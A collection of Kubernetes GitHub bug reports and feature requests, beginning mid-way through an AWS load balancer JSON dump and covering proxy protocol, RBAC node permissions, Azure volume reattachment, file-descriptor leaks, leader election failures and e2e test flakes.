,\r             \ backendserverdescriptions\ :  \r                 {\r                     \ instanceport\ : 30000,\r                     \ policynames\ :  \r                         \ k8s-nodes-proxy\ \r                      \r                 },\r                 {\r                     \ instanceport\ : 30001,\r                     \ policynames\ :  \r                         \ k8s-nodes-proxy\ \r                      \r                 }\r              ,\r             \ instances\ :  \r                 {\r                     \ instanceid\ : \ redacted\ \r                 },\r                 {\r                     \ instanceid\ : \ redacted\ \r                 }\r              ,\r             \ dnsname\ : \ redacted\ ,\r             \ securitygroups\ :  \r                 \ redacted\ \r              ,\r             \ policies\ : {\r                 \ lbcookiestickinesspolicies\ :   ,\r                 \ appcookiestickinesspolicies\ :   ,\r                 \ otherpolicies\ :  \r                     \ k8s-nodes-proxy\ \r                  \r             },\r             \ loadbalancername\ : \ kaws-k8s-nodes-example\ ,\r             \ createdtime\ : \ 2016-12-22t00:00:55.430z\ ,\r             \ availabilityzones\ :  \r                 \ redacted\ \r              ,\r             \ scheme\ : \ internet-facing\ ,\r             \ sourcesecuritygroup\ : {\r                 \ owneralias\ : \ redacted\ ,\r                 \ groupname\ : \ kaws-balancers-example\ \r             }\r         },\r         {\r             \ subnets\ :  \r                 \ redacted\ \r              ,\r             \ canonicalhostedzonenameid\ : \ redacted\ ,\r             \ canonicalhostedzonename\ : \ redacted\ ,\r             \ listenerdescriptions\ :  \r                 {\r                     \ listener\ : {\r                         \ instanceport\ : 443,\r                         \ loadbalancerport\ : 443,\r                         \ protocol\ : \ tcp\ ,\r                         \ instanceprotocol\ : \ tcp\ \r                     },\r                     \ policynames\ :   \r                 }\r              ,\r             \ healthcheck\ : {\r                 \ healthythreshold\ : 2,\r                 \ interval\ : 30,\r                 \ target\ : \ http:8080/healthz\ ,\r                 \ timeout\ : 3,\r                 \ unhealthythreshold\ : 2\r             },\r             \ vpcid\ : \ redacted\ ,\r             \ backendserverdescriptions\ :  \r                 {\r                     \ instanceport\ : 443,\r                     \ policynames\ :  \r                         \ k8s-masters-proxy\ \r                      \r                 }\r              ,\r             \ instances\ :  \r                 {\r                     \ instanceid\ : \ redacted\ \r                 },\r                 {\r                     \ instanceid\ : \ redacted\ \r                 }\r              ,\r             \ dnsname\ : \ redacted\ ,\r             \ securitygroups\ :  \r                 \ redacted\ \r              ,\r             \ policies\ : {\r                 \ lbcookiestickinesspolicies\ :   ,\r                 \ appcookiestickinesspolicies\ :   ,\r                 \ otherpolicies\ :  \r                     \ k8s-masters-proxy\ \r                  \r             },\r             \ loadbalancername\ : \ kaws-k8s-masters-example\ ,\r             \ createdtime\ : \ 2016-12-22t00:00:55.550z\ ,\r             \ availabilityzones\ :  \r                 \ redacted\ \r              ,\r             \ scheme\ : \ internet-facing\ ,\r             \ sourcesecuritygroup\ : {\r                 \ owneralias\ : \ redacted32\ ,\r                 \ groupname\ : \ kaws-balancers-example\ \r             }\r         }\r      \r }\r    \r \r on the worker nodes, ports 30000 and 30001 are node ports for our  traefik  https://traefik.io/  service, representing http and https, respectively. traefik serves as our ingress controller.\r \r is there something wrong with my configuration of the proxy protocol causing this or does kubernetes not support the proxy protocol at all?  i realize that for the nodes, this would depend on traefik supporting it, but for the control plane requests are hitting the kubernetes api server directly from the elb. \r \r there's currently no documentation that i can find on how to do this.

i think @fgrzadkowski was suggesting this sometime ago.\r \r @smarterclayton @wojtek-t this will help us with measuring new api slis wojtek proposed in his  doc  https://docs.google.com/document/d/1q5qxdebpgttixzxdsfilg7kgqwhvowy8uroef0j5ybw/edit?ts=598439ca . + we wouldn't need to list all objects each time we want to know their count  at the cost of some extra memory, but it's constant no. of metrics . maybe some cluster-admin usecases you can probably think of?\r \r if it sg, i'll take up the implementation.\r \r cc @kubernetes/sig-scalability-misc @kubernetes/sig-api-machinery-feature-requests

 \r \r   what happened  :\r \r i have a statefulset with headless service and both work fine. the service that i run is an activemq instance that use dns names to make the brokers of networks using multicast discovery. \r the problem is that activemq   use the hostname   to expose the uri for the discovery and when the other broker search the \ exposed brokers\  see the broker as   hostname:port  . \r activemq try to reach the hostname:port and failed, because to reach the pods running the other broker the uri should be   hostname.service_name  \r if i modified the /etc/hosts in every activemq brokers to   ip hostname.service_name   then all work ok, so, how i can archive this??? if kubernetes assign by default only the pod name to the hostname and not the full fqdn.\r \r   what you expected to happen  :\r kubernetes assign the full fqdn to containers hostname\r \r

today there is only one node condition to represent whether kubelet is healthy  updating node status . node controller will mark node as \ notready\  after kubelet stops updating for a while. the reason for kubelet not responding could be \r 1. network disconnect\r 2. node is shun down  stopped  or paused\r 3. kubelet is killed  could not response \r \r    problem\r in many cases, when a node becomes \ notready\ , pods will be evicted, and new pods will be started on other nodes  failover for high availability . however, if node is shut down, the volumes attached to the nodes are still attached. volume controller should try to detach volumes when pods are killed from the old node. but there is a safety check before detaching to see whether volume is still mounted. this check is done by a volumeinuse field in node status which is updated by kubelet. in case of node shut down, this field will not be updated by kubelet so that the safety check will fail and assume the volume cannot be detached because of existing mounts. the new pods will be pending for a while because volume cannot be attached to the other node. although the reality is that volume can be detached in this situation.  note: some cloud provider will treat stopped node as not exist in cloud provider so that node controller will delete the node api object. but still detach will not happen because of the mount safety check. ref https://github.com/kubernetes/kubernetes/issues/46442 \r \r    proposal\r we propose to taint the node with \ stopped\  condition. when kubelet stops updating, node controller checks cloud provider and see whether the node is in \ stopped\  state  note: different cloud provider might use different term to represent this state, e.g., terminated . when volume controller gets a node update/delete event, it can check the node taint spec and mark the volumes attached to that node are safe to detach  volumes can be be removed from the list of volumeinuse  meaning the volumes are mounted . when detach is issued, the operation can be proceeded without delay.\r \r to determine the \ stopped\  condition, i lists a few cloud provider's explanation of stopping an instance.\r \r     gce\r \r - stopping an instance causes compute engine to send the acpi power off signal to the instance. modern guest operating systems are configured to perform a clean shutdown before powering off in response to the power off signal. compute engine waits a short time for the guest to finish shutting down and then transitions the instance to the terminated state.\r \r - you can stop an instance temporarily so you can come back to it at a later time. a stopped instance does not incur charges, but all of the resources that are attached to the instance will still be charged. alternatively, if you are done using an instance, delete the instance and its resources to stop incurring charges.\r \r - you can permanently delete an instance to remove the instance and the associated resources from your project. if the instance is part of an instance group, the group might try to recreate the instance to maintain a certain group size.\r \r \r     aws\r \r - you can only stop an amazon ebs-backed instance. the instance performs a normal shutdown and stops running; its status changes to stopping and then stopped. any amazon ebs volumes remain attached to the instance, and their data persists. in most cases, the instance is migrated to a new underlying host computer when it's started. \r \r - you can delete your instance when you no longer need it. this is referred to as terminating your instance. when an instance terminates, the data on any instance store volumes associated with that instance is deleted. if your instance is in an auto scaling group, the auto scaling service marks the stopped instance as unhealthy, and may terminate it and launch a replacement instance.\r \r \r     openstack\r \r - admins can pause and unpause a nova compute instance. when an instance is paused, the entire state of the instance is kept in ram. pausing an instance will disable access to that instance, but won't free up any of its resources. another option is to suspend, and then resume, an instance. like paused openstack instances, a suspended instance keeps its current state, but it is written to storage. \r \r - a third option is to shelve openstack instances.a shelved instance is actually shut down, which is not the case for suspended or paused instances. if admins decide they no longer need a shelved instance, they can remove it, which ensures that it doesn't maintain any hypervisor-level resources in use.\r \r - the last option is to stop an instance in nova, which will disconnect all of its associated resources. this means admins can't restore a stopped instance to its previous state. this option is only useful for openstack instances that an organization no longer needs. in all other cases, admins should shelve, suspend or pause the instance.\r \r \r so basically a \ stopped\  node means that it is shut down like an operating system shut down situation. all mounts are gone when machine is shut down.\r \r cc @yujuhong @dchen1107 @random-liu

is this a bug report or feature request?  :\r \r  \r   what happened  :\r after implementing rbac and node auth, i found i saw a lot of these in my kube-apiserver logs:\r \r    \r mar 16 17:10:24 ip-172-16-10-37.us-east-2.compute.internal kube-apiserver 11191 : i0316 17:10:24.070806   11191 rbac.go:116  rbac deny: user \ system:node:ip-172-16-10-37.us-east-2.compute.internal\  groups  \ system:nodes\  \ system:authenticated\   cannot \ get\  resource \ nodes\  named \ ip-172-16-10-37.us-east-2.compute.internal\  cluster-wide\r mar 16 17:10:24 ip-172-16-10-37.us-east-2.compute.internal kube-apiserver 11191 : i0316 17:10:24.079927   11191 rbac.go:116  rbac deny: user \ system:node:ip-172-16-10-37.us-east-2.compute.internal\  groups  \ system:nodes\  \ system:authenticated\   cannot \ patch\  resource \ nodes/status\  named \ ip-172-16-10-37.us-east-2.compute.internal\  cluster-wide\r mar 16 17:10:28 ip-172-16-10-37.us-east-2.compute.internal kube-apiserver 11191 : i0316 17:10:28.781056   11191 rbac.go:116  rbac deny: user \ system:node:ip-172-16-8-203.us-east-2.compute.internal\  groups  \ system:nodes\  \ system:authenticated\   cannot \ watch\  resource \ pods\  cluster-wide\r    \r \r i ended up resolving the issue by adding this clusterrolebinding as part of my bootstrapping process:\r \r    \r kind: clusterrolebinding\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   labels:\r     addonmanager.kubernetes.io/mode: reconcile\r   name: systemnode-to-systemnodes\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: system:node\r subjects:\r - apigroup: rbac.authorization.k8s.io\r   kind: group\r   name: system:nodes\r    \r \r this confused me because of this section from the node auth docs  https://kubernetes.io/docs/admin/authorization/node/ , which seems to indicate that such a clusterrolebinding should not be needed in more recent versions:\r \r    \r rbac node permissions\r in 1.6, the system:node cluster role was automatically bound to the system:nodes group when using the rbac authorization mode.\r \r in 1.7, the automatic binding of the system:nodes group to the system:node role is deprecated because the node authorizer accomplishes the same purpose with the benefit of additional restrictions on secret and configmap access. if the node and rbac authorization modes are both enabled, the automatic binding of the system:nodes group to the system:node role is not created in 1.7.\r \r in 1.8, the binding will not be created at all.\r \r when using rbac, the system:node cluster role will continue to be created, for compatibility with deployment methods that bind other users or groups to that role.\r    \r \r   what you expected to happen  :\r a lack of rbac deny from what appears to be standard kubelet functionality\r \r   how to reproduce it  as minimally and precisely as possible   :\r - join a kubelet to a cluster using a bootstrap token with node auth enabled\r - only have default roles/bindings\r - that's all afaik\r \r   anything else we need to know?  :\r cluster is fresh, no other auth methods have ever been enabled\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.8\ , gitcommit:\ 2f73858c9e6ede659d6828fe5a1862a48034a0fd\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:30:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-693.11.6.el7.x86_64\r - install tools: n/a\r - others:\r

 \r   what happened  :\r we are seeing frequent issues related to pvc in our azure clusters. in particular, when pod is recreated it fails to start with  failedmount  error.\r \r   what you expected to happen  :\r pod successfully and relatively quickly recreated.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create deployment  single pod  with pvc on multi-node k8s cluster.\r 2. delete pod\r 3. wait new pod to be created by kubernetes\r 4. pod stucks in  containercreating \r \r \r   anything else we need to know?  :\r describe message in pod\r    \r   warning  failedmount  3m  x45 over 1h   kubelet, worker3  unable to mount volumes for pod \ prometheus-95ffb94db-9cvrf_monitoring 78cd8aa3-3be9-11e8-aa03-000d3a2c9706 \ : timeout expired waiting for volumes to attach/mount for pod \ monitoring\ /\ prometheus-95ffb94db-9cvrf\ . list of unattached/unmounted volumes= prometheus-data \r    \r in k8s-controller-manager logs i see that volume was successfully reattached, but i also see that kubernetes waited for 6 minutes before consider to perform reattachment. can this be handled more flexible somehow?\r    \r apr 09 11:30:57 master0 docker 4995 : i0409 11:30:57.558949       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ monitoring\ , name:\ prometheus-95ffb94db-9cvrf\ , uid:\ 78cd8aa3-3be9-11e8-aa03-000d3a2c9706\ , apiversion:\ v1\ , resourceversion:\ 21713886\ , fieldpath:\ \ } : type: 'warning' reason: 'failedattachvolume' multi-attach error for volume \ pvc-edc6f2aa-fd28-11e7-8e00-000d3a2c9706\  volume is already exclusively attached to one node and can't be attached to another\r apr 09 11:36:57 master0 docker 4995 : w0409 11:36:57.638444       1 reconciler.go:233  attacherdetacher.detachvolume started for volume \ pvc-edc6f2aa-fd28-11e7-8e00-000d3a2c9706\   uniquename: \ kubernetes.io/azure-disk//subscriptions/1be3b2e6-497b-45b9-915f-eb35cae23c6a/resourcegroups/gollum/providers/microsoft.compute/disks/kubernetes-dynamic-pvc-edc6f2aa-fd28-11e7-8e00-000d3a2c9706\   on node \ worker0\  this volume is not safe to detach, but maxwaitforunmountduration 6m0s expired, force detaching\r    \r \r i actually see that volume is attached to vm   worker3   as  sdd .\r    \r r7vme@worker3 ~ $ lsblk \r name    maj:min rm  size ro type  mountpoint\r sda       8:0    0 30.4g  0 disk  \r |-sda1    8:1    0  128m  0 part  /boot\r |-sda2    8:2    0    2m  0 part  \r |-sda3    8:3    0    1g  0 part  \r |  -usr 254:0    0 1016m  1 crypt /usr\r |-sda4    8:4    0    1g  0 part  \r |-sda6    8:6    0  128m  0 part  /usr/share/oem\r |-sda7    8:7    0   64m  0 part  \r  -sda9    8:9    0 28.1g  0 part  /\r sdb       8:16   0   28g  0 disk  \r  -sdb1    8:17   0   28g  0 part  /mnt/resource\r sdc       8:32   0  100g  0 disk  /var/lib/docker\r sdd       8:48   0  200g  0 disk  \r sr0      11:0    1  668k  0 rom \r    \r \r in kubelet logs i see continuous messages about failed unmount/mount operations.\r    \r apr 09 13:25:24 worker3 sh 4472 : i0409 13:25:24.739933    4540 reconciler.go:262  operationexecutor.mountvolume started for volume \ pvc-edc6f2aa\r -fd28-11e7-8e00-000d3a2c9706\   uniquename: \ kubernetes.io/azure-disk//subscriptions/1be3b2e6-497b-45b9-915f-eb35cae23c6a/resourcegroups/gollum/pr\r oviders/microsoft.compute/disks/kubernetes-dynamic-pvc-edc6f2aa-fd28-11e7-8e00-000d3a2c9706\   pod \ prometheus-95ffb94db-9cvrf\   uid: \ 78cd8aa3-3b\r e9-11e8-aa03-000d3a2c9706\  \r apr 09 13:25:24 worker3 sh 4472 : i0409 13:25:24.740057    4540 operation_generator.go:447  mountvolume.waitforattach entering for volume \ pvc-ed\r c6f2aa-fd28-11e7-8e00-000d3a2c9706\   uniquename: \ kubernetes.io/azure-disk//subscriptions/1be3b2e6-497b-45b9-915f-eb35cae23c6a/resourcegroups/gol\r lum/providers/microsoft.compute/disks/kubernetes-dynamic-pvc-edc6f2aa-fd28-11e7-8e00-000d3a2c9706\   pod \ prometheus-95ffb94db-9cvrf\   uid: \ 78cd8\r aa3-3be9-11e8-aa03-000d3a2c9706\   devicepath \ 2\ \r apr 09 13:25:26 worker3 sh 4472 : e0409 13:25:26.371631    4540 nestedpendingoperations.go:263  operation for \ \\\ kubernetes.io/azure-disk//subscr\r iptions/1be3b2e6-497b-45b9-915f-eb35cae23c6a/resourcegroups/gollum/providers/microsoft.compute/disks/kubernetes-dynamic-pvc-edc6f2aa-fd28-11e7-8e\r 00-000d3a2c9706\\\ \  failed. no retries permitted until 2018-04-09 13:27:28.371592933 +0000 utc m=+343056.311762348  durationbeforeretry 2m2s . err\r or: \ mountvolume.waitforattach failed for volume \\\ pvc-edc6f2aa-fd28-11e7-8e00-000d3a2c9706\\\   uniquename: \\\ kubernetes.io/azure-disk//subscripti\r ons/1be3b2e6-497b-45b9-915f-eb35cae23c6a/resourcegroups/gollum/providers/microsoft.compute/disks/kubernetes-dynamic-pvc-edc6f2aa-fd28-11e7-8e00-0\r 00d3a2c9706\\\   pod \\\ prometheus-95ffb94db-9cvrf\\\   uid: \\\ 78cd8aa3-3be9-11e8-aa03-000d3a2c9706\\\   : azuredisk - waitforattach failed within timeo\r ut node  worker3  diskid: kubernetes-dynamic-pvc-edc6f2aa-fd28-11e7-8e00-000d3a2c9706  lun: 2 \ \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.9.6 \r - cloud provider or hardware configuration:  azure \r - os  e.g. from /etc/os-release :  coreos 1688.5.3 \r - kernel  e.g.  uname -a  :  4.14.32-coreos \r - install tools: https://github.com/giantswarm/giantnetes-terraform\r - others: vm size  standard_ds3_v2  and managed disks\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r  kube-apiserver  and  kubelet  seem to continuously open new connections without closing them. when restarting these components, open file descriptors drop to low levels again  roughly 80 for  kube-apiserver  and  kubelet  , but then continue to climb steadily as before. during this time, only a handful of services were deployed/removed.\r \r see  graphs over here  https://gist.github.com/thanethomson/d59a58d5a18ef84ceee55e0d38ad8b22 .\r \r when we restart  kubelet  only, the number of open file descriptors for both  kubelet  and  kube-apiserver  drop dramatically, implying that  kubelet  is somehow involved in the issue.\r \r as described below, however, we're running  heketi  https://github.com/heketi/heketi/  with glusterfs for our persistent storage. it appears as though the number of open file descriptors for the  kubelet  instances on the glusterfs hosts increase over time, whereas the number of open file descriptors for  kubelet  on the non-glusterfs hosts does not.\r \r   what you expected to happen  :\r i would expect the number of open file descriptors from these processes to remain relatively stable over time, as per the other k8s components  e.g.  kube-proxy  .\r \r   how to reproduce it  as minimally and precisely as possible   :\r we built a 3-vm cluster, following  kelsey hightower's \ kubernetes the hard way\   https://github.com/kelseyhightower/kubernetes-the-hard-way . the primary differences between his setup and ours:\r \r 1. we're running on azure\r 2. each vm acts as both master and worker node  i.e. we have  kube-apiserver  and  kubelet  running on the same servers .\r 3. we configured flannel for direct access to etcd so it can manage our pod subnets.\r 4. we're running  heketi  https://github.com/heketi/heketi/  in our cluster with host 0 and host 1 each having one glusterfs brick, but host 2 not having any glusterfs bricks. the glusterfs daemonset thus runs on host 0 and host 1.\r \r our glusterfs storage class looks as follows:\r \r    yaml\r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   name: glusterfs-replica2\r provisioner: kubernetes.io/glusterfs\r parameters:\r   resturl: \ http://heketi.storage.svc.cluster.local:8080\ \r   clusterid: \ <redacted>\ \r   restauthenabled: \ false\ \r   volumetype: \ replicate:2\ \r allowvolumeexpansion: true\r    \r \r we set up a cron job on each of the vms to run the following commands an hourly basis to give us our graphs in the above-mentioned gist:\r \r    \r 0         /bin/bash -c \ lsof -p -p  pidof kube-apiserver  | wc -l >> /var/log/kube-apiserver-fd.log\ \r 0         /bin/bash -c \ lsof -p -p  pidof kubelet  | wc -l >> /var/log/kubelet-fd.log\ \r 0         /bin/bash -c \ lsof -p -p  pidof kube-controller-manager  | wc -l >> /var/log/kube-controller-manager-fd.log\ \r 0         /bin/bash -c \ lsof -p -p  pidof kube-proxy  | wc -l >> /var/log/kube-proxy-fd.log\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.0\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu 18.04.1 lts\r - kernel  e.g.  uname -a  :  linux <hostname> 4.15.0-1018-azure  18-ubuntu smp thu jul 19 12:42:15 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: none/manual\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r to be able to route base on request method on source and target.the following examples routes all post http cals on /testpath to test:80 and changes the method to get:\r lack of the method field on paths means all methods and on backend means the same method as the request\r \r    json\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: test-ingress\r spec:\r   rules:\r   - http:\r       paths:\r       - path: /testpath\r         method: post\r         backend:\r           servicename: test\r           serviceport: 80\r           method: get\r    \r   why is this needed  :\r http request is part of the http address. this gives a more focused control over routing. already supported on nearly all routers such as nginx, haproxy\r

issue summary  i recently worked through an installation of kubernetes into an aws vpc which was created outside of kube installation scripts. i found this difficult on several fronts, but my biggest issue is that the vpc i was trying to install into didn't have \ enablednshostnames\  enabled.  attempting the installation without that setting enabled does not cause the kube-up.sh script to output any errors, but does hang indefinitely on the \ waiting for cluster initialization.\  step. additionally, if i ssh into the kube master it does not appear to me that kube has bootstrapped correctly.  using the exact same installation process, if i enable dns hostnames the kube-up.sh script completes without issue and the cluster bootstraps as expected.    proposed solution:  i was only able to figure out the installation of kube into an existing vpc by reading through the installation shell scripts and realizing i could set environment variables for the vpc id and subnet id. the page at  aws under the hood  https://github.com/kubernetes/kubernetes/blob/master/docs/design/aws_under_the_hood.md  covers some of the details, but does not mention the dns hostname part. i would suggest both adding that detail and ensuring that page is linked from the  aws installation guide   https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/aws.md   secondarily, if a vpc is supplied the setting could be detected using   describe-vpc-attribute  http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-vpc-attribute.html  and the user could be notified.  i'm happy to put together a pull request for this.

once the kubelet is able to run on windows, look into supporting volumes and persistent volumes on windows pods.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-multizone/4751/  failed:  k8s.io  kubectl client  k8s.io  simple pod should return command exit codes {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:455 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://130.211.122.209 --kubeconfig=/workspace/.kube/config --namespace=e2e-tests-kubectl-7gdyk run -i --image=gcr.io/google_containers/busybox:1.24 --restart=never success -- /bin/sh -c exit 0      <nil> waiting for pod e2e-tests-kubectl-7gdyk/success to be running, status is pending, pod ready: false\  error from server: get https://10.240.0.6:10250/containerlogs/e2e-tests-kubectl-7gdyk/success/success: dial tcp 10.240.0.6:10250: getsockopt: connection refused\     <nil> 0xc4212b7c80 exit status 1 <nil> <nil> true  0xc420c54648 0xc420c54660 0xc420c54678   0xc420c54648 0xc420c54660 0xc420c54678   0xc420c54658 0xc420c54670   0x920390 0x920390  0xc420c41260 <nil>}:\ command stdout:\ waiting for pod e2e-tests-kubectl-7gdyk/success to be running, status is pending, pod ready: false\ \ stderr:\ error from server: get https://10.240.0.6:10250/containerlogs/e2e-tests-kubectl-7gdyk/success/success: dial tcp 10.240.0.6:10250: getsockopt: connection refused\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://130.211.122.209 --kubeconfig=/workspace/.kube/config --namespace=e2e-tests-kubectl-7gdyk run -i --image=gcr.io/google_containers/busybox:1.24 --restart=never success -- /bin/sh -c exit 0      <nil> waiting for pod e2e-tests-kubectl-7gdyk/success to be running, status is pending, pod ready: false      error from server: get https://10.240.0.6:10250/containerlogs/e2e-tests-kubectl-7gdyk/success/success: dial tcp 10.240.0.6:10250: getsockopt: connection refused         <nil> 0xc4212b7c80 exit status 1 <nil> <nil> true  0xc420c54648 0xc420c54660 0xc420c54678   0xc420c54648 0xc420c54660 0xc420c54678   0xc420c54658 0xc420c54670   0x920390 0x920390  0xc420c41260 <nil>}:     command stdout:     waiting for pod e2e-tests-kubectl-7gdyk/success to be running, status is pending, pod ready: false      stderr:     error from server: get https://10.240.0.6:10250/containerlogs/e2e-tests-kubectl-7gdyk/success/success: dial tcp 10.240.0.6:10250: getsockopt: connection refused      error:     exit status 1  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:808      previous issues for this test:  31151

there'a a  stackdriver limits  https://cloud.google.com/logging/quota-policy  on the log entry size.\r \r when fluentd plugin for stackdriver encounters bulk with the entry which is too big, it drops the whole bulk. there's an option in the upcoming release to drop only those lines, which don't fit in the qouta. however, dropping entries completely doesn't seems like a good idea, especially since such entries usually indicate errors and misconfigurations.\r \r proposed solution is to configure stackdrvie fluentd agent to trim long lines by default.\r \r cc @piosz @igorpeshansky\r \r

\r we have a kubernetes three master node set up with ha proxy enabled   \r \r master1        |\r master2        | ha proxy |     worker node1, worker node2\r master3        |\r \r  os: ubuntu 16.04.1 lts  gnu/linux 4.4.0-59-generic x86_64 \r  kubernetes version: 1.4.6 \r  etcd version: 3.1.0\r \r etcd cluster  nodes         = 3 \r number of master nodes =3\r number of worker nodes =2\r \r the issue is one of the kube-controller-manager stops after few minutes  5-10 mins  when leader election fails. used default values for all leader election related parameters. we observed the same issue for kubernetes 1.5.2 version also. \r  \r these are the logs observed during that point \r \r    \r 15:03:50 master1 kube-controller-manager 13431 : e0127 15:03:50.102073   13431 leaderelection.go:317  err: put https://192.168.14.51:443/api/v1/namespaces/kube-system/endpoints/kube-controller-manager: eof\r 15:03:50 master1 kube-controller-manager 13431 : e0127 15:03:50.102112   13431 event.go:258  could not construct reference to: '&api.endpoints{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ kube-controller-manager\ , generatename:\ \ , namespace:\ kube-system\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  unversioned.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  api.ownerreference nil , finalizers:  string nil , clustername:\ \ }, subsets:  api.endpointsubset nil }' due to: 'selflink was empty, can't make reference'. will not report event: 'normal' '%v stopped leading' 'master1'\r \r 15:03:50 master1 kube-controller-manager 13431 : i0127 15:03:50.102286   13431 leaderelection.go:232  failed to renew lease kube-system/kube-controller-manager\r 15:03:50 master1 kube-controller-manager 13431 : f0127 15:03:50.102330   13431 controllermanager.go:195  leaderelection lost\r 15:03:50 master1 systemd 1 : kube-controller-manager.service: main process exited, code=exited, status=255/n/a\r 15:03:50 master1 systemd 1 : kube-controller-manager.service: unit entered failed state.\r 15:03:50 master1 systemd 1 : kube-controller-manager.service: failed with result 'exit-code'.\r 15:03:50 master1 kube-scheduler 7224 : i0127 15:03:50.218654    7224 leaderelection.go:295  lock is held by master2 and has not yet expired\r 15:03:50 master1 etcd 10374 : 740a8c8411a0ddd2 is starting a new election at term 2675\r 15:03:50 master1 etcd 10374 : 740a8c8411a0ddd2 became candidate at term 2676\r 15:03:50 master1 etcd 10374 : 740a8c8411a0ddd2 received vote from 740a8c8411a0ddd2 at term 2676\r 15:03:50 master1 etcd 10374 : 740a8c8411a0ddd2  logterm: 2659, index: 2473475  sent vote \r    \r  \r expected result is  all kube-controller-manager should run, one in leader mode and others in standby mode. \r \r to reproduce:\r three node etcd cluster mode. three master node setup with kube-controller-manager and kube-scheduler is running connected to api-server via ha proxy. once everything is up and running wait for few minutes. it can be seen that kube-controller-manager in one of the master node failed.\r \r observations:\r seen a bug reported https://github.com/kubernetes/kubernetes/issues/28350 , has been closed by giving bug fix for the kube-scheduler leader election failure  by giving fix for kube-scheduler pod affinity .\r once we start the kube-controller manually, it was seen running without issues.\r

is this a bug report or feature request?  :\r  / \r   what happened  :\r   sig-auth  advanced audit  feature:audit  should audit api calls  is consistently failing in alpha cis since 8/25.\r \r checked  the commit diff  https://github.com/kubernetes/kubernetes/compare/acdf625e4...a235ba4e4 , seems likely to be caused by https://github.com/kubernetes/kubernetes/pull/50971.\r \r cc @caoshufeng @kubernetes/sig-auth-test-failures \r \r   how to reproduce it  as minimally and precisely as possible   :\r see https://k8s-testgrid.appspot.com/google-gce gce-alpha-features&width=5&sort-by-flakiness=\r

the \ apparmor load apparmor profiles should enforce an apparmor profile\  e2e test in failing on our 5k-node gce clusters - https://k8s-testgrid.appspot.com/google-gce-scale gce-scale-correctness  run no. 8 \r due to timeout:\r \r    \r gave up after waiting 5m0s for pod \ test-apparmor-bsrnw\  to be \ success or failure\ \r    \r \r seems like the test is trying to load the profiles across all the nodes using a daemonset and then running a test pod to check that. it's passing on our 2k-node clusters  https://k8s-testgrid.appspot.com/google-gce-scale gce-large-correctness  but failing for 5k - suggesting that it's likely due to size of the cluster. i think it's the ds creation taking longer on large cluster.\r \r cc @kubernetes/sig-node-bugs @kubernetes/sig-scalability-misc \r

 \r  kubectl top  is currently using a bespoke client which talks directly to heapster.\r considering that heapster will soon no longer be required,  kubectl top  should\r use the actual metrics client instead  from  k8s.io/metrics  , which will also make\r use of the resource metrics api   metrics.k8s.io   as an aggregated api.\r \r cc @kubernetes/sig-cli-feature-requests \r cc @kubernetes/sig-instrumentation-feature-requests

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   /assign\r \r   what happened  :\r add metrics for predicate, assume and bind volume functions

